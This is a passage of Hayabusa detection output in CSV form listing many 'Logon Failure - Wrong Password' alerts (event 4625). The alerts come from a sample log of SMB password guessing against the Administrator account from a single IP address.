NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IjCR48ZJFyEhzrYI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.556 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mUV9i4O2gapcC01d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XJzGAMQCvJBFOUPq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fyyu0x6I29R2J10Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.687 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8lCe1shqSs0xNwAJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ipZAMvm56d5mE9Fc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XX9N7jodTuEYBCSE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.814 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h5DBFGpzfJJ7gYV1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fQ3qTwcWkXJDuXDI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TOfkvLSo2HuhMtvk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y9DQUhPQHvvwAO0C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.990 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yao1JM0tSFv5IHnL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NXGm63wiZz3ZYFb9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.077 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: izvPgZCO2GRVLhId : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.119 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iI9zO2o7jd922pfK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.164 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UnAGy86My6hVwt4J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.208 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HhFTzONSVEziRtgq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.251 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QdEv4ooC8AApqU1T : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TxFGRBKVK732Aeu4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ITg8QH90LKkAQMLL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.377 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E8YKCN2uxmJtYxdW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.411 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lcVIqrTQbNLFW7Cr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.449 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: taZx68l1ci0i2XB0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.487 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Jjy0gZhZCc9dVGd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.525 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S1DxOWcNytmxHfxl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.555 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JGRFWos3MJeQ0oAr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.593 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I3YXVTiQAGbf57TH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eWNsBwoGd36krY2U : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HIobpWCoOHdD76lL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W91ruUEdXwRcMxVB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.743 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6PEs7fp97cYFf4vx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.781 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hQelUX0kwLfpJnr0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.824 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: t88CBspQqbiO1IPc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.864 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zELW2Upo3jRCIqJk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.900 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QfcyJGLYmu93JBIL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3t2nKPZHZvcXM3QA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.980 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oiDRonqdEM2YJvz9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.012 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wJPF4GUypkDkTz56 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cd5YRVIoXx8LoYpK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.106 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H49I2Xp2Gz1Jj0Wh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.143 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZMSWWzskoRfYBGny : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.190 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GLm2PolKMBsYkPnN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.280 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2ZjHWhG2rXzYWskz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.325 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FOZzVedHYODB5Yvd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.372 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xVaRybjI4HdZV0Zs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.411 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tTcl30MvvycjFcQb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.449 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fVZqbCr9EwmV4gNE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zVwhii0TVmCkpDI0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2Tx04CPPVa6WYY9G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.584 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gHyefIGqhIIy3ZI9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.627 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Wrietoh4wgXcEvNd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.668 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9WW0Y5PW2JfCCdyR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tmXsMJ0ELK4qiNY6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.742 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yeftUqriSoxCgmDy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.769 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 60JE9WQQ8N00j65B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r0rt2yVAEH6V4IIS : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pay98C2Gr1di7qQd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.881 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8TyPDYm9QCAmqj7h : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.927 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Dw3iK7DQMVXy8LW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:30.977 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BMuO0QEkxpKRv4Vl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.016 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RaHECaQDXCXQc9Xw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ewXT2VcARiaNLIxJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.110 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dGSTrm4AOojs7So0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.148 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wVTBSk0Q65LkaTqg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.209 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NjFN51w3T4VwuWa5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KG7a88h48ZEyOuYw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6ksKuTSGukc5em3B : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.336 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tPEMcGV6ZR92sWNY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.369 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iBQ6sKrRjb7BsySN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.421 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gDFnG1gv7jOeIQ0t : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.454 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QdFKkcNpkfAScnkp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.511 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IAYbV4ioewwkZSmy : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.557 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1bQ2Dxd6nlgSXJpo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: havLyoVCfdCqzrqO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:31.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: b2vZLhz19pXrq9iE : IP Address: 192.168.198.149 : AuthPackage: 